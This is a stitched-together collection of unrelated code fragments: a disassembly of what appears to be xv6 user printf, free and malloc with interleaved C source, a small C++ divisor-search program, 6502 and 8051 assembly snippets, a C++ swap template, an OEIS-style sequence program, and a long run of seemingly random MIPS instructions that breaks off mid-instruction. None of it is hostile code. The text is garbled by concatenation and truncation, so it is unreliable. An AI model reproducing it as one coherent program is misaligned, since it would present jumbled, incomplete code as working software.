0x0(%esi,%eiz,1),%esi uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 3e0: 89 d0 mov %edx,%eax 3e2: f7 d8 neg %eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 3e4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 3eb: eb 87 jmp 374 <printint+0x24> 3ed: 8d 76 00 lea 0x0(%esi),%esi 000003f0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 3f4: 31 ff xor %edi,%edi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3f6: 56 push %esi 3f7: 53 push %ebx 3f8: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3fb: 8b 5d 0c mov 0xc(%ebp),%ebx char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 3fe: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 401: 8b 75 08 mov 0x8(%ebp),%esi char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 404: 89 45 d4 mov %eax,-0x2c(%ebp) for(i = 0; fmt[i]; i++){ 407: 0f b6 13 movzbl (%ebx),%edx 40a: 83 c3 01 add $0x1,%ebx 40d: 84 d2 test %dl,%dl 40f: 75 39 jne 44a <printf+0x5a> 411: e9 c2 00 00 00 jmp 4d8 <printf+0xe8> 416: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 418: 83 fa 25 cmp $0x25,%edx 41b: 0f 84 bf 00 00 00 je 4e0 <printf+0xf0> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 421: 8d 45 e2 lea -0x1e(%ebp),%eax 424: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 42b: 00 42c: 89 44 24 04 mov %eax,0x4(%esp) 430: 89 34 24 mov %esi,(%esp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { putc(fd, c); 433: 88 55 e2 mov %dl,-0x1e(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 436: e8 77 fe ff ff call 2b2 <write> 43b: 83 c3 01 add $0x1,%ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 43e: 0f b6 53 ff movzbl -0x1(%ebx),%edx 442: 84 d2 test %dl,%dl 444: 0f 84 8e 00 00 00 je 4d8 <printf+0xe8> c = fmt[i] & 0xff; if(state == 0){ 44a: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 44c: 0f be c2 movsbl %dl,%eax if(state == 0){ 44f: 74 c7 je 418 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 451: 83 ff 25 cmp $0x25,%edi 454: 75 e5 jne 43b <printf+0x4b> if(c == 'd'){ 456: 83 fa 64 cmp $0x64,%edx 459: 0f 84 31 01 00 00 je 590 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 45f: 25 f7 00 00 00 and $0xf7,%eax 464: 83 f8 70 cmp $0x70,%eax 467: 0f 84 83 00 00 00 je 4f0 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 46d: 83 fa 73 cmp $0x73,%edx 470: 0f 84 a2 00 00 00 je 518 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 476: 83 fa 63 cmp $0x63,%edx 479: 0f 84 35 01 00 00 je 5b4 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 47f: 83 fa 25 cmp $0x25,%edx 482: 0f 84 e0 00 00 00 je 568 <printf+0x178> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 488: 8d 45 e6 lea -0x1a(%ebp),%eax 48b: 83 c3 01 add $0x1,%ebx 48e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 495: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 496: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 498: 89 44 24 04 mov %eax,0x4(%esp) 49c: 89 34 24 mov %esi,(%esp) 49f: 89 55 d0 mov %edx,-0x30(%ebp) 4a2: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 4a6: e8 07 fe ff ff call 2b2 <write> } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 4ab: 8b 55 d0 mov -0x30(%ebp),%edx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4ae: 8d 45 e7 lea -0x19(%ebp),%eax 4b1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4b8: 00 4b9: 89 44 24 04 mov %eax,0x4(%esp) 4bd: 89 34 24 mov %esi,(%esp) } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 4c0: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4c3: e8 ea fd ff ff call 2b2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4c8: 0f b6 53 ff movzbl -0x1(%ebx),%edx 4cc: 84 d2 test %dl,%dl 4ce: 0f 85 76 ff ff ff jne 44a <printf+0x5a> 4d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, c); } state = 0; } } } 4d8: 83 c4 3c add $0x3c,%esp 4db: 5b pop %ebx 4dc: 5e pop %esi 4dd: 5f pop %edi 4de: 5d pop %ebp 4df: c3 ret ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 4e0: bf 25 00 00 00 mov $0x25,%edi 4e5: e9 51 ff ff ff jmp 43b <printf+0x4b> 4ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 4f0: 8b 45 d4 mov -0x2c(%ebp),%eax 4f3: b9 10 00 00 00 mov $0x10,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4f8: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 4fa: c7 04 24 00 00 00 00 movl $0x0,(%esp) 501: 8b 10 mov (%eax),%edx 503: 89 f0 mov %esi,%eax 505: e8 46 fe ff ff call 350 <printint> ap++; 50a: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 50e: e9 28 ff ff ff jmp 43b <printf+0x4b> 513: 90 nop 514: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 518: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 51b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 51f: 8b 38 mov (%eax),%edi ap++; if(s == 0) s = "(null)"; 521: b8 7d 07 00 00 mov $0x77d,%eax 526: 85 ff test %edi,%edi 528: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 52b: 0f b6 07 movzbl (%edi),%eax 52e: 84 c0 test %al,%al 530: 74 2a je 55c <printf+0x16c> 532: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 538: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 53b: 8d 45 e3 lea -0x1d(%ebp),%eax ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 53e: 83 c7 01 add $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 541: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 548: 00 549: 89 44 24 04 mov %eax,0x4(%esp) 54d: 89 34 24 mov %esi,(%esp) 550: e8 5d fd ff ff call 2b2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 555: 0f b6 07 movzbl (%edi),%eax 558: 84 c0 test %al,%al 55a: 75 dc jne 538 <printf+0x148> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 55c: 31 ff xor %edi,%edi 55e: e9 d8 fe ff ff jmp 43b <printf+0x4b> 563: 90 nop 564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 568: 8d 45 e5 lea -0x1b(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 56b: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 56d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 574: 00 575: 89 44 24 04 mov %eax,0x4(%esp) 579: 89 34 24 mov %esi,(%esp) 57c: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 580: e8 2d fd ff ff call 2b2 <write> 585: e9 b1 fe ff ff jmp 43b <printf+0x4b> 58a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 590: 8b 45 d4 mov -0x2c(%ebp),%eax 593: b9 0a 00 00 00 mov $0xa,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 598: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 59b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 5a2: 8b 10 mov (%eax),%edx 5a4: 89 f0 mov %esi,%eax 5a6: e8 a5 fd ff ff call 350 <printint> ap++; 5ab: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5af: e9 87 fe ff ff jmp 43b <printf+0x4b> while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5b4: 8b 45 d4 mov -0x2c(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5b7: 31 ff xor %edi,%edi while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5b9: 8b 00 mov (%eax),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5bb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5c2: 00 5c3: 89 34 24 mov %esi,(%esp) while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5c6: 88 45 e4 mov %al,-0x1c(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5c9: 8d 45 e4 lea -0x1c(%ebp),%eax 5cc: 89 44 24 04 mov %eax,0x4(%esp) 5d0: e8 dd fc ff ff call 2b2 <write> putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 5d5: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5d9: e9 5d fe ff ff jmp 43b <printf+0x4b> 5de: 66 90 xchg %ax,%ax 000005e0 <free>: static Header base; static Header *freep; void free(void *ap) { 5e0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5e1: a1 fc 09 00 00 mov 0x9fc,%eax static Header base; static Header *freep; void free(void *ap) { 5e6: 89 e5 mov %esp,%ebp 5e8: 57 push %edi 5e9: 56 push %esi 5ea: 53 push %ebx 5eb: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5ee: 8b 08 mov (%eax),%ecx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 5f0: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5f3: 39 d0 cmp %edx,%eax 5f5: 72 11 jb 608 <free+0x28> 5f7: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5f8: 39 c8 cmp %ecx,%eax 5fa: 72 04 jb 600 <free+0x20> 5fc: 39 ca cmp %ecx,%edx 5fe: 72 10 jb 610 <free+0x30> 600: 89 c8 mov %ecx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 602: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 604: 8b 08 mov (%eax),%ecx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 606: 73 f0 jae 5f8 <free+0x18> 608: 39 ca cmp %ecx,%edx 60a: 72 04 jb 610 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 60c: 39 c8 cmp %ecx,%eax 60e: 72 f0 jb 600 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 610: 8b 73 fc mov -0x4(%ebx),%esi 613: 8d 3c f2 lea (%edx,%esi,8),%edi 616: 39 cf cmp %ecx,%edi 618: 74 1e je 638 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 61a: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 61d: 8b 48 04 mov 0x4(%eax),%ecx 620: 8d 34 c8 lea (%eax,%ecx,8),%esi 623: 39 f2 cmp %esi,%edx 625: 74 28 je 64f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 627: 89 10 mov %edx,(%eax) freep = p; 629: a3 fc 09 00 00 mov %eax,0x9fc } 62e: 5b pop %ebx 62f: 5e pop %esi 630: 5f pop %edi 631: 5d pop %ebp 632: c3 ret 633: 90 nop 634: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 638: 03 71 04 add 0x4(%ecx),%esi 63b: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 63e: 8b 08 mov (%eax),%ecx 640: 8b 09 mov (%ecx),%ecx 642: 89 4b f8 mov %ecx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 645: 8b 48 04 mov 0x4(%eax),%ecx 648: 8d 34 c8 lea (%eax,%ecx,8),%esi 64b: 39 f2 cmp %esi,%edx 64d: 75 d8 jne 627 <free+0x47> p->s.size += bp->s.size; 64f: 03 4b fc add -0x4(%ebx),%ecx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 652: a3 fc 09 00 00 mov %eax,0x9fc bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 657: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 65a: 8b 53 f8 mov -0x8(%ebx),%edx 65d: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 65f: 5b pop %ebx 660: 5e pop %esi 661: 5f pop %edi 662: 5d pop %ebp 663: c3 ret 664: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 66a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000670 <malloc>: return freep; } void* malloc(uint nbytes) { 670: 55 push %ebp 671: 89 e5 mov %esp,%ebp 673: 57 push %edi 674: 56 push %esi 675: 53 push %ebx 676: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 679: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 67c: 8b 1d fc 09 00 00 mov 0x9fc,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 682: 8d 48 07 lea 0x7(%eax),%ecx 685: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 688: 85 db test %ebx,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 68a: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 68d: 0f 84 9b 00 00 00 je 72e <malloc+0xbe> 693: 8b 13 mov (%ebx),%edx 695: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 698: 39 fe cmp %edi,%esi 69a: 76 64 jbe 700 <malloc+0x90> 69c: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 6a3: bb 00 80 00 00 mov $0x8000,%ebx 6a8: 89 45 e4 mov %eax,-0x1c(%ebp) 6ab: eb 0e jmp 6bb <malloc+0x4b> 6ad: 8d 76 00 lea 0x0(%esi),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 6b0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 6b2: 8b 78 04 mov 0x4(%eax),%edi 6b5: 39 fe cmp %edi,%esi 6b7: 76 4f jbe 708 <malloc+0x98> 6b9: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6bb: 3b 15 fc 09 00 00 cmp 0x9fc,%edx 6c1: 75 ed jne 6b0 <malloc+0x40> morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 6c3: 8b 45 e4 mov -0x1c(%ebp),%eax 6c6: 81 fe 00 10 00 00 cmp $0x1000,%esi 6cc: bf 00 10 00 00 mov $0x1000,%edi 6d1: 0f 43 fe cmovae %esi,%edi 6d4: 0f 42 c3 cmovb %ebx,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 6d7: 89 04 24 mov %eax,(%esp) 6da: e8 3b fc ff ff call 31a <sbrk> if(p == (char*)-1) 6df: 83 f8 ff cmp $0xffffffff,%eax 6e2: 74 18 je 6fc <malloc+0x8c> return 0; hp = (Header*)p; hp->s.size = nu; 6e4: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 6e7: 83 c0 08 add $0x8,%eax 6ea: 89 04 24 mov %eax,(%esp) 6ed: e8 ee fe ff ff call 5e0 <free> return freep; 6f2: 8b 15 fc 09 00 00 mov 0x9fc,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 6f8: 85 d2 test %edx,%edx 6fa: 75 b4 jne 6b0 <malloc+0x40> return 0; 6fc: 31 c0 xor %eax,%eax 6fe: eb 20 jmp 720 <malloc+0xb0> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 700: 89 d0 mov %edx,%eax 702: 89 da mov %ebx,%edx 704: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 708: 39 fe cmp %edi,%esi 70a: 74 1c je 728 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 70c: 29 f7 sub %esi,%edi 70e: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; 711: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; 714: 89 70 04 mov %esi,0x4(%eax) } freep = prevp; 717: 89 15 fc 09 00 00 mov %edx,0x9fc return (void*)(p + 1); 71d: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 720: 83 c4 1c add $0x1c,%esp 723: 5b pop %ebx 724: 5e pop %esi 725: 5f pop %edi 726: 5d pop %ebp 727: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 728: 8b 08 mov (%eax),%ecx 72a: 89 0a mov %ecx,(%edx) 72c: eb e9 jmp 717 <malloc+0xa7> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 72e: c7 05 fc 09 00 00 00 movl $0xa00,0x9fc 735: 0a 00 00 base.s.size = 0; 738: ba 00 0a 00 00 mov $0xa00,%edx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 73d: c7 05 00 0a 00 00 00 movl $0xa00,0xa00 744: 0a 00 00 base.s.size = 0; 747: c7 05 04 0a 00 00 00 movl $0x0,0xa04 74e: 00 00 00 751: e9 46 ff ff ff jmp 69c <malloc+0x2c>
#include <iostream> #include <climits> using namespace std; int main(){ int n,k; cin >> n >> k; int x = INT_MAX; for (int r=1;r<k;r++){ if (n % r == 0){ int temp = (n/r)*k + r; if (temp < x){ x = temp; } } } cout << x; return 0; }
; Test subroutines LDX #0 LOOP: JSR INCX CPX #10 BNE LOOP JMP ENDIT INCX: INX RTS ENDIT: NOP
org 0000h ;Assume clock frequency = 12MHz mov tmod,#1h ;T0 mode 1 repeat: mov p1,#55h ;sequence = 01010101b acall delay ;call delay routine mov p1,#0aah ;sequence = 10101010b acall delay ;call delay routine again sjmp repeat ;repeat indefinitely delay:mov th0,#0c5h ;delay routine for 15ms mov tl0,#068h setb tr0 ;start timer 0 wait:jnb tf0,wait ;wait till T0 stops counting clr tr0 ;clear flags which were clr tf0 ;modified in the process ret ;return to main program end
#include <iostream> #include <utility> // std::swap template <class T> void swap(T a, T b) { T temp = a; a = b; b = temp; } template <class K> struct node { K data; struct node *node; }; int main() { int x = 5, y = 7; swap(x, y); std::cout << x << " " << y << std::endl; double w = 3.1, v = 7.3; swap(w, v); std::cout << w << " " << v << std::endl; std::swap(x, y); std::cout << x << " " << y << std::endl; return 0; }
; A275161: Number of sides of a polygon formed by tiling n squares in a spiral. ; 4,4,6,4,6,4,6,6,4,6,6,4,6,6,6,4,6,6,6,4,6,6,6,6,4,6,6,6,6,4,6,6,6,6,6,4,6,6,6,6,6,4,6,6,6,6,6,6,4,6,6,6,6,6,6,4,6,6,6,6,6,6,6,4,6,6,6,6,6,6,6,4,6,6,6,6,6,6,6,6,4,6,6,6,6,6,6 mov $7,$0 mov $9,2 lpb $9 clr $0,7 mov $0,$7 sub $9,1 add $0,$9 sub $0,1 mov $2,$0 lpb $2 mov $4,$2 lpb $4 sub $4,$4 add $5,4 lpe mov $4,$2 lpb $5 add $2,6 pow $4,2 mov $5,$4 lpe sub $2,1 lpe mov $1,$5 mov $10,$9 lpb $10 mov $8,$1 sub $10,1 lpe lpe lpb $7 mov $7,0 sub $8,$1 lpe mov $1,$8 div $1,4 mul $1,2 add $1,4
subu $5,$4,$3 srlv $3,$1,$3 sltiu $4,$0,-23442 addu $3,$3,$3 sltiu $5,$3,-20450 addu $0,$3,$3 slti $3,$5,3545 sllv $5,$1,$3 andi $4,$4,33703 lhu $4,10($0) xori $1,$1,14587 xor $5,$0,$3 lhu $5,8($0) lb $6,1($0) or $4,$3,$3 xori $3,$6,8987 srl $3,$3,26 nor $5,$4,$3 lbu $1,0($0) or $4,$1,$3 subu $3,$3,$3 lbu $4,16($0) sw $4,12($0) or $6,$1,$3 subu $1,$1,$3 sb $6,5($0) xori $4,$4,24731 sra $4,$5,6 srl $4,$4,23 srav $6,$4,$3 srlv $1,$4,$3 srlv $1,$5,$3 sb $1,14($0) sll $0,$3,9 sw $4,0($0) sra $4,$3,10 srav $1,$3,$3 and $3,$3,$3 subu $5,$5,$3 lh $3,10($0) addiu $5,$5,-11048 slti $6,$5,-10810 xor $3,$3,$3 addu $4,$3,$3 addu $4,$1,$3 slt $1,$1,$3 subu $1,$3,$3 srl $3,$4,7 lbu $5,5($0) nor $3,$4,$3 subu $0,$4,$3 slt $1,$3,$3 andi $5,$0,20883 srlv $4,$3,$3 lb $0,12($0) or $5,$5,$3 lbu $6,0($0) subu $4,$5,$3 subu $1,$1,$3 sltiu $4,$4,-18319 addu $3,$4,$3 sltu $4,$2,$3 sra $5,$5,14 xor $5,$1,$3 lb $1,2($0) sltu $4,$3,$3 lb $5,13($0) lw $3,8($0) srlv $5,$5,$3 srl $1,$1,22 sw $5,16($0) lb $4,6($0) addu $3,$6,$3 and $5,$1,$3 andi $4,$5,50004 addiu $3,$0,-9477 sb $0,1($0) srav $6,$5,$3 slti $1,$1,-12315 xor $3,$4,$3 addiu $5,$3,16438 srl $3,$3,4 andi $3,$0,14866 subu $1,$0,$3 nor $3,$2,$3 sw $4,8($0) sw $3,0($0) sb $0,7($0) or $4,$0,$3 lbu $4,5($0) and $6,$3,$3 andi $3,$1,12135 lh $4,12($0) xori $4,$3,41558 xori $3,$3,25779 and $4,$0,$3 srlv $3,$3,$3 lh $3,16($0) lbu $4,14($0) xor $3,$3,$3 and $3,$1,$3 sll $6,$3,0 sllv $6,$3,$3 addiu $4,$3,8233 xor $1,$6,$3 xor $3,$3,$3 addu $4,$0,$3 sll $1,$3,30 sw $1,12($0) lbu $3,4($0) addiu $4,$3,-11217 addu $3,$5,$3 srl $3,$4,16 lbu $3,1($0) sllv $3,$3,$3 sw $3,12($0) srlv $5,$1,$3 sll $5,$5,24 sltiu $3,$6,25191 addu $5,$5,$3 lw $5,4($0) subu $5,$3,$3 xor $4,$1,$3 lhu $6,6($0) sw $4,0($0) lhu $4,16($0) xori $3,$6,41737 slti $4,$5,31516 srav $3,$3,$3 subu $3,$3,$3 subu $0,$2,$3 sw $1,12($0) sllv $5,$4,$3 ori $5,$3,9130 srl $4,$4,2 sra $3,$3,17 sltu $0,$0,$3 and $1,$5,$3 subu $1,$5,$3 sw $3,16($0) nor $4,$4,$3 lh $1,8($0) sra $1,$3,8 srlv $1,$5,$3 addiu $5,$5,-17379 sra $1,$3,5 sh $6,6($0) slt $3,$5,$3 slti $5,$5,-11494 subu $5,$5,$3 xor $4,$5,$3 xori $1,$1,36539 nor $3,$4,$3 addu $3,$4,$3 addu $5,$5,$3 lhu $0,14($0) srlv $1,$5,$3 or $3,$1,$3 srl $3,$0,29 lb $3,12($0) lw $3,4($0) nor $3,$4,$3 lbu $0,2($0) lhu $5,2($0) sllv $3,$3,$3 or $3,$1,$3 sllv $3,$3,$3 subu $3,$3,$3 sh $0,12($0) sll $3,$5,14 lw $3,0($0) nor $5,$5,$3 sra $6,$1,19 sh $4,14($0) sllv $6,$5,$3 lh $3,6($0) xor $5,$4,$3 srlv $4,$3,$3 lbu $5,3($0) subu $1,$1,$3 lh $3,14($0) andi $5,$5,65502 andi $3,$1,54772 addiu $3,$1,29373 addu $5,$5,$3 or $3,$1,$3 addiu $6,$4,-1563 addu $1,$0,$3 subu $5,$4,$3 subu $3,$1,$3 subu $5,$4,$3 sw $3,8($0) andi $0,$3,27109 sw $4,4($0) subu $4,$3,$3 sb $4,14($0) sltu $3,$5,$3 lbu $4,6($0) slt $4,$1,$3 sltu $3,$4,$3 sw $6,16($0) addiu $5,$6,-13679 subu $4,$4,$3 ori $6,$4,10652 sb $3,7($0) srl $4,$0,14 lb $4,14($0) andi $4,$4,30586 lh $5,12($0) subu $3,$5,$3 srav $4,$4,$3 srav $0,$4,$3 sb $3,15($0) sltiu $4,$5,-22181 addiu $6,$6,-32580 sll $3,$5,19 lbu $3,9($0) lb $4,7($0) sb $3,12($0) srlv $2,$2,$3 subu $1,$0,$3 srlv $5,$5,$3 srlv $3,$4,$3 srav $3,$3,$3 srav $4,$1,$3 andi $5,$6,52857 slti $4,$3,30708 subu $1,$3,$3 lhu $4,6($0) sltiu $1,$4,-32284 slti $4,$0,31736 addiu $5,$3,-13242 addiu $4,$3,-12763 sll $4,$6,21 sll $4,$3,1 lbu $0,13($0) srlv $5,$5,$3 sw $4,4($0) addu $3,$2,$3 and $4,$0,$3 addu $3,$0,$3 sltu $3,$3,$3 subu $4,$3,$3 or $1,$5,$3 nor $5,$0,$3 sw $3,8($0) or $3,$4,$3 or $0,$1,$3 ori $5,$5,28702 xori $4,$4,31301 and $4,$4,$3 addu $1,$1,$3 xori $3,$3,9312 lb $6,5($0) slt $3,$1,$3 srl $4,$3,11 lh $6,6($0) sh $3,4($0) lbu $4,14($0) sh $4,10($0) nor $6,$3,$3 sllv $1,$1,$3 addu $3,$4,$3 ori $6,$6,28563 sltu $1,$1,$3 sb 